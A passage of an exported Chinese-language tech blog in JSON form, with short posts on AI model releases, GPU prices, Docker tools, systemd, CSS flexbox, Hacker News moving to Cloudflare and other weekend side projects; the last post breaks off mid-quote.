    "body": "在 <a href=\"https://en.wikipedia.org/wiki/Mastodon_(social_network)\">Mastodon</a> 上面看到有 bridge service 可以接 X (<a href=\"https://twitter.com/\">Twitter</a>) 的內容：\r\n\r\n<iframe src=\"https://g0v.social/@idoleat/111696321736186749/embed\" width=\"100%\" height=\"480px\" allowfullscreen=\"allowfullscreen\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox allow-forms\"></iframe>\r\n\r\n像是 <a href=\"https://twitter.com/elonmusk\">elonmusk</a> 的 X (Twitter) 可以用 <code>@elonmusk@bird.makeup</code> 這個位置訂閱。\r\n\r\n程式本身是 <a href=\"https://en.wikipedia.org/wiki/AGPLv3\">AGPLv3</a>，但是是用 <a href=\"https://en.wikipedia.org/wiki/.NET_Core\">.NET Core</a> 寫的，如果要 self-hosted 的話得研究一下了：「<a href=\"https://sr.ht/~cloutier/bird.makeup/\">bird.makeup</a>」。\r\n\r\n然後從 README.md 看起來是用 X (Twitter) 自家的 undocumented API，避免了正式 API 的 rate limit 問題：\r\n\r\n<blockquote>Twitter API calls are not rate-limited</blockquote>",
    "title": "在 Fediverse 上訂閱 X (Twitter) 的內容"
  },
  {
    "id": "11567",
    "body": "記錄一下有這個現象，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的「<a href=\"https://news.ycombinator.com/item?id=38863817\">Cleaning up my 200GB iCloud with some JavaScript (andykong.org)</a>」，原文是「<a href=\"https://andykong.org/blog/icloudconfusion\">iCloud Cleanup</a>」。\r\n\r\n裡面提到 <a href=\"https://www.icloud.com/photos\">iCloud Photos</a> 無法依照大小排序的問題，所以自己寫了一段 js code 解決。\r\n\r\n想要記錄的是這段，文章後段有提到空間計算很不準確的問題：\r\n\r\n<blockquote>So iCloud says the video is 128MB, I download it and the video is actually 48MB, and my free storage increases by ~170MB when I deleted it. Interesting!</blockquote>\r\n\r\n以及發現愈舊的檔案吃的空間愈多，甚至到七倍：\r\n\r\n<blockquote>It's weird that my storage freed up more than 7x the removed files size, and weirder still that old, big videos appear to have a much larger storage footprint in iCloud than in real life.</blockquote>\r\n\r\n這不知道後續會不會跑出訴訟案？",
    "title": "iCloud 空間計算不準確的問題"
  },
  {
    "id": "11568",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 的「<a href=\"https://news.ycombinator.com/item?id=38889539\">Microsoft Phi-2 model changes licence to MIT (huggingface.co)</a>」這邊看到的消息，連結是改成 <a href=\"https://en.wikipedia.org/wiki/MIT_License\">MIT License</a> 的 commit：「<a href=\"https://huggingface.co/microsoft/phi-2/commit/7e10f3ea09c0ebd373aebc73bc6e6ca58204628d\">Upload 3 files · microsoft/phi-2 at 7e10f3e</a>」。\r\n\r\n看了一下 model 的參數是 2.7B，宣稱在 13B 以下 model 中是前段班：\r\n\r\n<blockquote>Phi-2 showcased a nearly state-of-the-art performance among models with less than 13 billion parameters.</blockquote>\r\n\r\n再回頭查一下這段宣稱的時間，當初發表的時間是 2023/12/12：「<a href=\"https://www.microsoft.com/en-us/research/blog/phi-2-the-surprising-power-of-small-language-models/\">Phi-2: The surprising power of small language models</a>」。\r\n\r\n應該是希望在行動裝置上用更少的運算量達到效果...\r\n\r\n另外找了一下 GGUF 格式，看起來 <a href=\"https://huggingface.co/TheBloke/phi-2-GGUF\">TheBloke/phi-2-GGUF</a> 這邊已經有轉好的了，可以直接上 <a href=\"https://github.com/ggerganov/llama.cpp\">llama.cpp</a> 跑。",
    "title": "微軟 Phi-2 model 的授權改成 MIT License"
  },
  {
    "id": "11569",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Age_of_Empires_(video_game)\">Age of Empires</a> (1997) 與 <a href=\"https://en.wikipedia.org/wiki/Age_of_Empires_II\">Age of Empires II: The Age of Kings</a> (1999) 是當年兩個很紅的遊戲，有傳言裡面有很大一部分是用組合語言寫的。\r\n\r\n剛剛在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=38896896\">Original Age of Empires 2 dev talks about its usage of assembly code (reddit.com)</a>」這篇，看起來是原作者跳出來說明這段傳言 (講的更細)，原文在 <a href=\"https://en.wikipedia.org/wiki/Reddit\">Reddit</a> 的「<a href=\"https://old.reddit.com/r/aoe2/comments/18ysttu/aoe_is_written_in_assembly_is_this_actually_true_o/\">AoE is written in Assembly - is this actually TRUE?! :O : aoe2</a>」這邊。\r\n\r\n32-bit 的 x86 組語部分有大約 13k 行，大多數 (11.5k 行) 是與繪圖有關的 (當年繪圖相關的功能都還是 CPU 在算)：\r\n\r\n<blockquote>There were about ~13,000 lines of x86 32-bit assembly code written in total.\r\n\r\nThe vast majority, about ~11,500 lines worth, was in the 'drawing core', which drew SLP sprites in a variety of ways (mirrored, stippled, clipped). The code for this was in a separate .asm file, which was \"compiled\" by Microsoft Macro Assembler 6.1 into a .obj file.</blockquote>\r\n\r\n最主要的目的當然是效能，這邊提到隔壁棚的星海爭霸預設還是 640x480 的時候，AoE 這邊預設可以上 800x600：\r\n\r\n<blockquote>The use of assembly in the drawing core resulting in a ~10x sprite drawing speed improvement over the C++ reference implementations, and AoE's drawing core was notably faster than competitors like StarCraft, which is why the default resolution 'out of the box' for AoE was 800 by 600, when nearly all our competition was 640 x 480 resolution - we could scroll the screen and fill it with sprites as fast or faster even though we had twice as many pixels-ish in the game world area.</blockquote>\r\n\r\n後來到 64-bit 年代就變成用 C++，主要是因為 compiler optimization 的改進，以及多 CPU 與 multi-threading 的技術，讓計算力提升很多：\r\n\r\n<blockquote>I re-wrote the assembly functions into C++ for both Definitive Editions, as they are 64-bit programs, and inline assembly was never supported by the 64-bit C++ compiler, and the vastly improved register sets and compiler optimizations made it un-necessary. Additionally, sprite drawing in the definitive editions is multi-threaded, and will use up to 4 cores for that task alone.</blockquote>\r\n\r\n算是時代的演進，意外的留下一些記錄... 而更後面的時代則是把這些計算 offload 到顯卡上面了。",
    "title": "世紀帝國系列裡的 AoE 與 AoK 使用組合語言加速的情況"
  },
  {
    "id": "11570",
    "body": "在 <a href=\"https://lobste.rs/\">Lobsters</a> 的「<a href=\"https://lobste.rs/s/xmlkqy/systemd_through_eyes_musl_distribution\">systemd through the eyes of a musl distribution maintainer</a>」這篇看到的，隔壁 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 的「<a href=\"https://news.ycombinator.com/item?id=38889156\">Systemd through the eyes of a musl distribution maintainer (catfox.life)</a>」也可以參考，原文在則是「<a href=\"https://catfox.life/2024/01/05/systemd-through-the-eyes-of-a-musl-distribution-maintainer/\">systemd through the eyes of a musl distribution maintainer</a>」這邊。\r\n\r\n裡面提到的幾個痛點算是社群的共識了，像是負責 DNS 的 <a href=\"https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html\">systemd-resolved</a>，我之前有寫「<a href=\"https://blog.gslin.org/archives/2020/12/01/9842/ubuntu-20-04-%E4%B8%8B%E7%94%A8-resolvconf-%E5%8F%96%E4%BB%A3-systemd-resolved-%E5%9B%A0%E7%82%BA-pppoe/\">Ubuntu 20.04 下用 resolvconf 取代 systemd-resolved (因為 PPPoE)</a>」這個，回頭去用 <a href=\"https://en.wikipedia.org/wiki/Resolvconf\">resolvconf</a> 支援度比 systemd-resolved 好很多。\r\n\r\n另外一個社訊的共識是 systemd 多做了很多不屬於他的事情，像是跑去處理網路 (<a href=\"https://www.freedesktop.org/software/systemd/man/latest/systemd.network.html\">systemd-networkd</a>)，或是 NTP client (<a href=\"https://www.freedesktop.org/software/systemd/man/latest/systemd-timedated.service.html\">systemd-timedated</a>)，處理得很半吊子...\r\n\r\n但偏偏市占率大的 distribution 都跳過去用 systemd，而 <a href=\"https://en.wikipedia.org/wiki/OpenRC\">OpenRC</a> 只有少數幾個 distribution 在用，佔有率差太多...",
    "title": "systemd 的問題"
  },
  {
    "id": "11572",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://huggingface.co/mistralai/Mixtral-8x7B-v0.1\">Mixtral-8x7B-v0.1</a> 以及 <a href=\"https://huggingface.co/mistralai/Mixtral-8x7B-Instruct-v0.1\">Mixtral-8x7B-Instruct-v0.1</a> 的論文出來了：「<a href=\"https://news.ycombinator.com/item?id=38921668\">Mixtral 8x7B: A sparse Mixture of Experts language model (arxiv.org)</a>」，<a href=\"https://arxiv.org/\">arXiv</a> 上的連結：「<a href=\"https://arxiv.org/abs/2401.04088\">Mixtral of Experts</a>」。\r\n\r\n跟先前大家從公開資料研究的差不多，這個研究成果主要不是降低參數的大小，而是降低運算的量：\r\n\r\n<blockquote>As a result, each token has access to 47B parameters, but only uses 13B active parameters during inference.</blockquote>\r\n\r\n然後仍然是超越 GPT-3.5 的水準：\r\n\r\n<blockquote>Mixtral was trained with a context size of 32k tokens and it outperforms or matches Llama 2 70B and GPT-3.5 across all evaluated benchmarks.</blockquote>\r\n\r\n先看計算量的問題，Mixtral 8x7B 的 model 對 VRAM 要求仍然不是消費級 GPU 可以達到的，對一般家用電腦來說，還是需要 quantisation 降低精度換取對 VRAM 空間的壓力下降。\r\n\r\n這點可以在 <a href=\"https://huggingface.co/TheBloke/Mixtral-8x7B-v0.1-GGUF\">TheBloke/Mixtral-8x7B-v0.1-GGUF</a> 這邊看到各種 quantisation 後需要的 VRAM 大小。\r\n\r\n如果用 CPU 計算的話目前應該不是大問題，目前 LLM 的大小對於一般主機的 RAM 來說還不是問題 (單條 32GB，四條就有 128GB 了)，加上現在 <a href=\"https://github.com/ggerganov/llama.cpp\">llama.cpp</a> 主力已經是用 <a href=\"https://en.wikipedia.org/wiki/Mmap\">mmap</a> 的方式在存取檔案，filesystem cache 可以在多次執行中重複使用，只是用 CPU 就不能對速度有太多想法了。\r\n\r\n但如果往 GPU 這邊看的話就得取捨了，目前 GPU 中能跑 Mixtral 8x7B 最便宜的方案應該是兩張 3060 12GB 組成 24GB VRAM，一張約 NT$9k (~US$300)，兩張約 NT$18k (~US$600)，這樣的話有機會跑 <a href=\"https://huggingface.co/TheBloke/Mixtral-8x7B-v0.1-GGUF/blob/main/mixtral-8x7b-v0.1.Q3_K_M.gguf\">mixtral-8x7b-v0.1.Q3_K_M.gguf</a>，不過這邊寫「very small, high quality loss」。\r\n\r\n如果 mixtral-8x7b-v0.1.Q3_K_M.gguf 的品質不能接受，希望計算品質好一點的話，三張 3060 Ti 12GB 組 36GB VRAM 的方案約 NT$27000 (~US$900)，不過主機板可能要挑一下；這樣就有機會用需求 34.73 GB VRAM 的 <a href=\"https://huggingface.co/TheBloke/Mixtral-8x7B-v0.1-GGUF/blob/main/mixtral-8x7b-v0.1.Q5_K_M.gguf\">mixtral-8x7b-v0.1.Q5_K_M.gguf</a> 了，評語是「large, very low quality loss - recommended」。\r\n\r\n最後岔題，剛剛算了一下成本，發現 3060 Ti 12GB 這張還是穩穩的 LLM 窮人卡，先前在「<a href=\"https://blog.gslin.org/archives/2023/05/22/11197/%E9%9B%B2%E7%AB%AF%E4%B8%8A%E9%9D%A2%E7%9A%84-gpu-%E8%B3%87%E6%BA%90%E8%B2%BB%E7%94%A8%EF%BC%8C%E4%BB%A5%E5%8F%8A%E5%9C%B0%E7%AB%AF%E7%9A%84-gpu-%E6%B1%BA%E7%AD%96%E5%9C%96/\">雲端上面的 GPU 資源費用，以及地端的 GPU 決策圖</a>」這邊提到的決策圖，即使在 2023 年七月 4060 Ti 16GB 出了以後還是很好用... (約 NT$15k，~US$500)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1684719766-f7ca6327.webp\" /><img src=\"https://i.gslin.com/s/1684719766-f7ca6327.png\" alt=\"\" /></picture>",
    "title": "Mixtral 8x7B 的論文出來了"
  },
  {
    "id": "11573",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=38913425\">Dive: A tool for exploring a Docker image, layer contents and more (github.com/wagoodman)</a>」這邊看到的工具，官網在 GitHub 上：「<a href=\"https://github.com/wagoodman/dive\">wagoodman/dive</a>」。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Docker_(software)\">Docker</a> image 是一層一層疊起來的，而 dive 可以翻出每一層的變化：\r\n\r\n<blockquote>A tool for exploring a docker image, layer contents, and discovering ways to shrink the size of your Docker/OCI image.</blockquote>\r\n\r\n<img src=\"https://i.gslin.com/s/1704802755.gif\" alt=\"\" />\r\n\r\n馬上想得到的用途是拿來分析空間的使用情況，另外可以拿來確認 container 裡面的內容 (就不用 <code>/bin/bash</code> 進去看了)。\r\n\r\n在留言 <a href=\"https://news.ycombinator.com/item?id=38915336\">id=38915336</a> 這邊另外提到了 <a href=\"https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md\">crane</a> 這個有趣的的東西，可以操作 Docker image。\r\n\r\n這邊看到的說明包括了合併不同的 layer，以及類似 <a href=\"https://git-scm.com/\">Git</a> 的 <a href=\"https://git-scm.com/docs/git-rebase\">rebase</a> 功能 (re-apply diff)：\r\n\r\n<blockquote>For image and layer manipulation, crane is awesome - as is the underlying go-containerregistry library.\r\n\r\nIt lets you add new layers, or edit any metadata (env vars, labels, entrypoint, etc) in existing images. You can also \"flatten\" an image with multiple layers into a single layer. Additionally you can \"rebase\" an image (re-apply your changes onto a new/updated base image). It does all this directly in the registry, so no docker needed (though it's still useful for creating the original image).\r\n\r\nhttps://github.com/google/go-containerregistry/blob/main/cmd/crane/recipes.md\r\n\r\n(updated: better link)</blockquote>\r\n\r\n兩個剛好搭在一起...",
    "title": "觀察 Docker image 每一層變化的 dive，以及操作的 crane"
  },
  {
    "id": "11580",
    "body": "看到「<a href=\"https://www.amd.com/en/newsroom/press-releases/2024-1-8-amd-unveils-amd-radeon-rx-7600-xt-graphics-card--.html\">AMD Unveils AMD Radeon RX 7600 XT Graphics Card – Incredible Gaming at 1080p and Beyond for Under $350</a>」這篇，16GB VRAM 官方的定價在 US$329...\r\n\r\n剛好昨天寫的「<a href=\"https://blog.gslin.org/archives/2024/01/09/11572/mixtral-8x7b-%e7%9a%84%e8%ab%96%e6%96%87%e5%87%ba%e4%be%86%e4%ba%86/\">Mixtral 8x7B 的論文出來了</a>」提到了 <a href=\"https://www.nvidia.com/\">Nvidia</a> 的 3060 Ti 的 16GB 版本是跑 <a href=\"https://en.wikipedia.org/wiki/Large_language_model\">LLM</a> 的窮人選擇，因為 12GB VRAM 的卡官方訂在 US$329，目前售價大約在 NT$9000 (~US$300) 左右。\r\n\r\n這次 <a href=\"https://www.amd.com/\">AMD</a> 這張 16GB VRAM 美國定價是 US$329，剛好跟 3060 Ti 12GB 版本相同，這下 entry level 的市場就瞬間變得有趣了起來，雖然說 AMD 這邊的軟體支援度是差了一些，但最近算是急起直追，對於想要追求 CP 值的群眾來說還蠻有吸引力的？\r\n\r\n後續來追看看台灣的售價...",
    "title": "AMD 推出 16GB 的 RX 7600 XT"
  },
  {
    "id": "11581",
    "body": "看到「<a href=\"https://news.ycombinator.com/item?id=38917175\">The curious case of the Raspberry Pi in the network closet (2019) (blog.haschek.at)</a>」這篇消息，這篇是 2019 當時的新聞，我當時就有看到，不過好像沒寫下來... 原文在「<a href=\"https://blog.haschek.at/2018/the-curious-case-of-the-RasPi-in-our-network.html\">The curious case of the Raspberry Pi in the network closet</a>」，基本上是個在機房裡面發現奇怪的設備，然後追查兇手的故事。\r\n\r\n先整理一下事情，作者的父親 (看起來與作者都是這個行業的人) 在機房裡面發現一個奇怪的 <a href=\"https://en.wikipedia.org/wiki/Raspberry_Pi\">Raspberry Pi</a> 設備：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1704899738-8c7ef7df.webp\" /><img src=\"https://i.gslin.com/s/1704899738-8c7ef7df.png\" alt=\"\" /></picture>\r\n\r\n跟能夠進入機房的人確認後發現這不是他們帶進來的設備。另外他就請他爸把 SD card 裡面的東西倒出來再傳給他分析 (因為作者當時在遠端)：\r\n\r\n<blockquote>I asked him to unplug it, store it in a safe location, take photos of all parts and to make an image from the SD card (since I mostly work remote).</blockquote>\r\n\r\n後面就是抓出這個設備是誰擁有的過程了，最後找到人交給 legal 處理。(這樣講好像太簡單了，但有興趣的人可以回去看作者的說明)\r\n\r\n另外當年作者就有提到這個單位的 IT team 不大 (只有四個人)，加上 <a href=\"https://en.wikipedia.org/wiki/Bring_your_own_device\">BYOD</a> 的政策，導入 <a href=\"https://en.wikipedia.org/wiki/IEEE_802.1X\">802.1X</a> 反而會帶來太多人力成本：\r\n\r\n<blockquote>Good points. The problem is, there are over 1000 people coming and going every day, the site has a BYOD strategy and the IT team is 4 people. We tried implementing 802.1X for LAN devices but it was soo much overhead that we dropped that.\r\n\r\nThe thing of this case is that the person was only able to place the Pi there because he had a key to the network closet. That's game over no matter how many security protocols you implement\r\n\r\nWe did change the server passwords though</blockquote>\r\n\r\n結果六年以後在 Hacker News 上被提起來，作者又來補充了一些事情，在 <a href=\"https://news.ycombinator.com/item?id=38923967\">id=38923967</a> 這邊提到這個點是一間學校，而他們是 contractor 的角色，所以有很多事情沒辦法直接推動：\r\n\r\n<blockquote>OP here. What I didn't mention in the article is that this actually happened in a public School (small-ish for US standards as there are just ~1000 students and 100 teachers)\r\n\r\nHard to get the budget for serious switching hardware, even harder to get people who know how to manage them as I'm just an external contractor but can't exceed the alotted budget for my work there</blockquote>\r\n\r\n另外在 <a href=\"https://news.ycombinator.com/item?id=38923991\">id=38923991</a> 這邊則是提到是歐洲，另外似乎是私下解決了，沒有上到法院：\r\n\r\n<blockquote>OP here. Court records are thankfully not public in europe and it's even illegal to name names in public (unless it's about a public figure)\r\n\r\nAs far as I know there also were no court proceedings as this was handled internally</blockquote>\r\n\r\n算是稍微補充了當年的一些難處...",
    "title": "在機房裡面看到奇怪的 Raspberry Pi？"
  },
  {
    "id": "11583",
    "body": "看到 <a href=\"https://www.amd.com/\">AMD</a> 的新聞稿楞了一下：「<a href=\"https://www.amd.com/en/newsroom/press-releases/2024-1-8-amd-reveals-next-gen-desktop-processors-for-extrem.html\">AMD Reveals Next-Gen Desktop Processors for Extreme PC Gaming and Creator Performance</a>」。\r\n\r\n出了四顆 5000 系列的 CPU 在 <a href=\"https://en.wikipedia.org/wiki/Socket_AM4\">AM4</a> 主機板上使用：\r\n\r\n<blockquote>New AMD Ryzen™ 5000 Series Desktop Processors Bring More Performance to Legacy Socket AM4 Platforms</blockquote>\r\n\r\n其中 5700X3D 這顆價錢算是很殺的 (US$249)，對於吃 CPU cache 很重的遊戲會是個有趣的選擇，先前 X3D 最便宜的是 5800X3D (US$449)，這顆算是個有趣的玩具...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1705002919-d6f46467.webp\" /><img src=\"https://i.gslin.com/s/1705002919-d6f46467.png\" alt=\"\" /></picture>\r\n\r\n另外 5500GT 這顆 US$125 也是個蠻有趣的產品，剛剛翻了一下原價屋上的 5600G 是 $4970，換算大約是 US$160，不確定是不是屬於輕量機種的範圍... (像是組給家裡老人家用？)\r\n\r\n意外的讓 AM4 平台又多了一些硬體可以玩？",
    "title": "AMD 在 AM4 腳位上再出四顆 CPU..."
  },
  {
    "id": "11585",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=38948122\">Blur Radius Comparison (bjango.com)</a>」，原文在「<a href=\"https://bjango.com/articles/blurradiuscomparison/\">Blur radius comparison</a>」。\r\n\r\n重點在這張：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1705141294-6da3c8b2.webp\" /><img src=\"https://i.gslin.com/s/1705141294-6da3c8b2.png\" alt=\"\" /></picture>\r\n\r\n前面九個分成三種效果在三個不同的瀏覽器呈現的結果，然後是 <a href=\"https://en.wikipedia.org/wiki/Figma\">Figma</a>、<a href=\"https://en.wikipedia.org/wiki/Adobe_Illustrator\">Illustrator</a>、<a href=\"https://en.wikipedia.org/wiki/Adobe_Photoshop\">Photoshop</a> 與 <a href=\"https://en.wikipedia.org/wiki/Sketch_(software)\">Sketch</a> 的效果。\r\n\r\n可以看出來在瀏覽器上的部分，大家的 rendering 沒有差太多。\r\n\r\n而 Figma 所有 blur 類的效果，在瀏覽器上比較接近的只有 <a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/box-shadow\">box-shadow</a>，其他三套則是有不同的變化...",
    "title": "各家瀏覽器與工具對於 blur 效果的實際呈現比較"
  },
  {
    "id": "11586",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=38980793\">A site that tracks the price of a Big Mac in every US McDonald's (pantryandlarder.com)</a>」這個，追蹤美國麥當勞裡的大麥克價錢：「<a href=\"https://pantryandlarder.com/mccheapest\">McCheapest</a>」。\r\n\r\n這個明顯跟「<a href=\"https://zh.wikipedia.org/wiki/%E5%B7%A8%E7%84%A1%E9%9C%B8%E6%8C%87%E6%95%B8\">大麥克指數</a>」有關，而且因為美國不同州會有不同的稅務結構，所以可以預期不同地區的麥當勞價位不同，不過沒有預期到同一個州裡面也是各家店自行定價的...\r\n\r\n目前網站上列出來最便宜的是奧克拉荷馬州的 US$3.49，最貴的在麻薩諸塞州的 US$8.09，價差到一倍以上... 順便提一下，目前在台灣大麥克的價錢是相同的 NT$75，約 US$2.4。\r\n\r\n另外一個感到驚訝的是麥當勞東半部的密度比西半部高好多？還是這張資料沒顯示出來而已？",
    "title": "美國大麥克的價錢"
  },
  {
    "id": "11591",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 前陣子似乎是因為被打而轉移到 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 上：\r\n\r\n<pre>;; ANSWER SECTION:\r\nnews.ycombinator.com.   1       IN      CNAME   news.ycombinator.com.cdn.cloudflare.net.\r\nnews.ycombinator.com.cdn.cloudflare.net. 300 IN A 172.67.5.232\r\nnews.ycombinator.com.cdn.cloudflare.net. 300 IN A 104.22.6.236\r\nnews.ycombinator.com.cdn.cloudflare.net. 300 IN A 104.22.7.236</pre>\r\n\r\n另外可以參考「<a href=\"https://sitereport.netcraft.com/?url=http://news.ycombinator.com\">Site report for http://news.ycombinator.com</a>」這邊的記錄，我另外備份一份放在 <a href=\"https://archive.today/\">archive.today</a> 上：「<a href=\"https://archive.ph/B374T\">Site report for http://news.ycombinator.com</a>」。\r\n\r\n可以看到先前是指到 209.216.230.240，然後今年 (2024) 年初的時候似乎是因為 DDoS 的關係，在骨幹上被 blackhole 掉，後來就轉到 Cloudflare 上了。\r\n\r\n一個比較意外的是看到報告說是 <a href=\"https://www.freebsd.org/\">FreeBSD</a>，等之後切回去再來研究看看？\r\n\r\nCloudflare 的 <a href=\"https://en.wikipedia.org/wiki/Web_application_firewall\">WAF</a> 在科技類的網站容易誤判，像是「<a href=\"https://news.ycombinator.com/item?id=38986187\">Ask HN: Does Cloudflare block HN comments if you have code blocks in a reply?</a>」這邊就遇到了，可以在留言裡面看到大家在研究要怎麼繞 WAF XDDD\r\n\r\n等到切回去應該就會恢復，不過還在 Cloudflare 上的這陣子應該會繼續看到抱怨...",
    "title": "Hacker News 目前搬上 Cloudflare"
  },
  {
    "id": "11593",
    "body": "週末偶而會看到一些奇怪的 side project，像是用 <a href=\"https://en.wikipedia.org/wiki/Shebang_(Unix)\">shebang</a> (<code>#!</code>) 直接跑起一個 Docker instance 的方式：「<a href=\"https://news.ycombinator.com/item?id=38987109\">Show HN: #!/usr/bin/env docker run (gist.github.com)</a>」，程式碼在 <a href=\"https://gist.github.com/\">gist</a> 上：「<a href=\"https://gist.github.com/adtac/595b5823ef73b329167b815757bbce9f\">adtac/595b5823ef73b329167b815757bbce9f</a>」。\r\n\r\n可以看到裡面主要的內容都是 Dockerfile，然後重點在開頭的 shebang command，把這些 Dockerfile 的指令倒進去跑 docker build：\r\n\r\n<pre>#!/usr/bin/env -S bash -c \"docker run -p 8080:8080 -it --rm \\$(docker build --progress plain -f \\$0 . 2>&1 | tee /dev/stderr | grep -oP 'sha256:[0-9a-f]*')\"</pre>\r\n\r\n記得這邊處理後面參數的部分有 undefined behavior，在 <a href=\"https://news.ycombinator.com/item?id=38989173\">id=38989173</a> 這邊也有人提到了：\r\n\r\n<blockquote>Beware of portability: it relies on a non-standard behavior from some operating systems. It only works on OSs that treat all the text after the first space as argument(s) to the shebanged executable; rather than just treating the whole string as an executable path (that can happen to contain spaces).</blockquote>\r\n\r\n但這主要是好玩，也就還好了...",
    "title": "用 shebang 掛起 Docker instance"
  },
  {
    "id": "11594",
    "body": "前陣子在動手弄 css 的東西，才注意到 flex 有很多不太一樣的設計，對於學過「以前的標準」的人來說會比較意外，就像標題提到的...\r\n\r\n我在 <a href=\"https://jsfiddle.net/\">JS Fiddle</a> 上面做了一個<a href=\"https://jsfiddle.net/38bgdrL9/1/\">範例</a>可以測試，裡面有兩組 container，第一組就很標準的 <code>div</code> 設定為 100x100 的大小，然後 <code>margin</code> 設為 <code>10px</code>。\r\n\r\n可以看到第一組裡面，上下 block 的 <code>margin</code> 會「疊」起來 (也就是上面 block 的 <code>margin-bottom</code> 與下面 block 的 <code>margin-top</code> 疊起來)，變成 <code>10px</code>，而不是分開算的 <code>20px</code>。\r\n\r\n這個特性可以用「margin collapsing」查到，在 <a href=\"https://developer.mozilla.org/\">MDN</a> 上甚至有一篇「<a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_box_model/Mastering_margin_collapsing\">Mastering margin collapsing</a>」可以看，而這個特性對於老人來說已經用習慣了...\r\n\r\n但如果用 flex 實作時 (<code>display: flex;</code> 以及 <code>flex-direction: column;</code>)，會發現所有的 <code>margin</code> 都是自己計算而不會疊加，這點在 <a href=\"https://www.w3.org/\">W3C</a> 的文件「<a href=\"https://www.w3.org/TR/css-flexbox-1/\">CSS Flexible Box Layout Module Level 1</a>」裡面有提到：\r\n\r\n<blockquote>For example, floats do not intrude into the flex container, and the flex container’s margins do not collapse with the margins of its contents.</blockquote>\r\n\r\n這個特性無法被改變，取而代之的是用 <code>gap</code> 這個 property 設定元素之間的間格。",
    "title": "CSS Flexbox 裡元素的 margin 不會重疊"
  },
  {
    "id": "11595",
    "body": "另外一個在週末看到的奇怪東西，用 x86 組語寫的 web forum：「<a href=\"https://news.ycombinator.com/item?id=38983742\">AsmBB – a lightweight web forum engine written in assembly language (asmbb.org)</a>」，官網在 <a href=\"https://asmbb.org/\">asmBB</a> 這邊，說明則是在「<a href=\"https://asmbb.org/what-is-asmbb.1/\">What is AsmBB?</a>」這頁。\r\n\r\n是個 x86 assembly + <a href=\"https://www.sqlite.org/\">SQLite</a> 的組合：\r\n\r\n<blockquote>AsmBB is fully written in assembly language and uses SQLite as a database back-end. That is why it can work on really weak hosting and in the same time serve huge amount of visitors without lags and delays.</blockquote>\r\n\r\n程式碼是用 <a href=\"https://en.wikipedia.org/wiki/Fossil_(software)\">Fossil</a> 管的，不過作者有 mirror 到 <a href=\"https://github.com/\">GitHub</a> 上：「<a href=\"https://github.com/johnfound/asmbb\">johnfound/asmbb</a>」。\r\n\r\nSQlite 的部分用了 SQLeet，可以在 <a href=\"https://github.com/johnfound/asmbb/blob/master/source/Linux/sqleet.inc\">sqleet.inc</a> 這個檔案裡面看到引用了 <code>libsqleet.so</code>：\r\n\r\n<blockquote>AsmBB uses SQLite with SQLeet extension as a back-end storage database and FastCGI interface to the web server.</blockquote>\r\n\r\n組語的部分看起來是用 <a href=\"https://flatassembler.net/\">fasm</a> 寫的，看程式碼 (像是 <a href=\"https://github.com/johnfound/asmbb/blob/master/source/encryption.asm\">encryption.asm</a>) 可以看到一些好用的語法，像是自動處理 function 參數的部分 (應該有設定某種 convention)，跟當年寫 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Macro_Assembler\">MASM</a> 的用法方便不少：\r\n\r\n<pre>stdcall TextCreate, sizeof.TText\r\nmov     edx, eax\r\n\r\nstdcall TextCat, edx, &lt;\"Content-type: text/html; charset=utf-8\", 13, 10, 13, 10&gt;\r\nstdcall RenderTemplate, edx, 'crypto.tpl', 0, esi</pre>",
    "title": "用 x86 組語寫的 web forum"
  },
  {
    "id": "11596",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=38979549\">Compressing Text into Images (shkspr.mobi)</a>」這個奇怪的方法，是把文字轉成灰階的 <a href=\"https://en.wikipedia.org/wiki/PNG\">PNG</a> 檔案，然後跟 <a href=\"https://en.wikipedia.org/wiki/ZIP_(file_format)\">ZIP</a> 比較壓縮率，居然是能打的。原文則是在「<a href=\"https://shkspr.mobi/blog/2024/01/compressing-text-into-images/\">Compressing Text into Images</a>」這邊。\r\n\r\n這是屬於週末奇怪的 side project，作者也覺得這樣很白爛 XDDD\r\n\r\n<blockquote>(This is, I think, a silly idea. But sometimes the silliest things lead to unexpected results.)</blockquote>\r\n\r\n作者是拿羅密歐與茱麗葉的小說當資料 (<a href=\"https://en.wikipedia.org/wiki/Romeo_and_Juliet\">Romeo and Juliet</a>)，這可以在 <a href=\"https://en.wikipedia.org/wiki/Project_Gutenberg\">Project Gutenberg</a> 的網站上下載到 txt 檔案。\r\n\r\n基本的想法是把每個文字轉成灰階圖片的像素，然後用 PNG 無損輸出，最後再用 <a href=\"https://squoosh.app/\">Squoosh</a> 處理：\r\n\r\n<blockquote>The English language and its punctuation are not very complicated, so the play only contains 77 unique symbols. The ASCII value of each character spans from 0 - 127. So let's create a greyscale image which each pixel has the same greyness as the ASCII value of the character.</blockquote>\r\n\r\n結果居然是跟一般的壓縮軟體差不多：\r\n\r\n<blockquote>That's down to 55KB! About 40% of the size of the original file. It is slightly smaller than ZIP, and about 9 bytes larger than Brotli 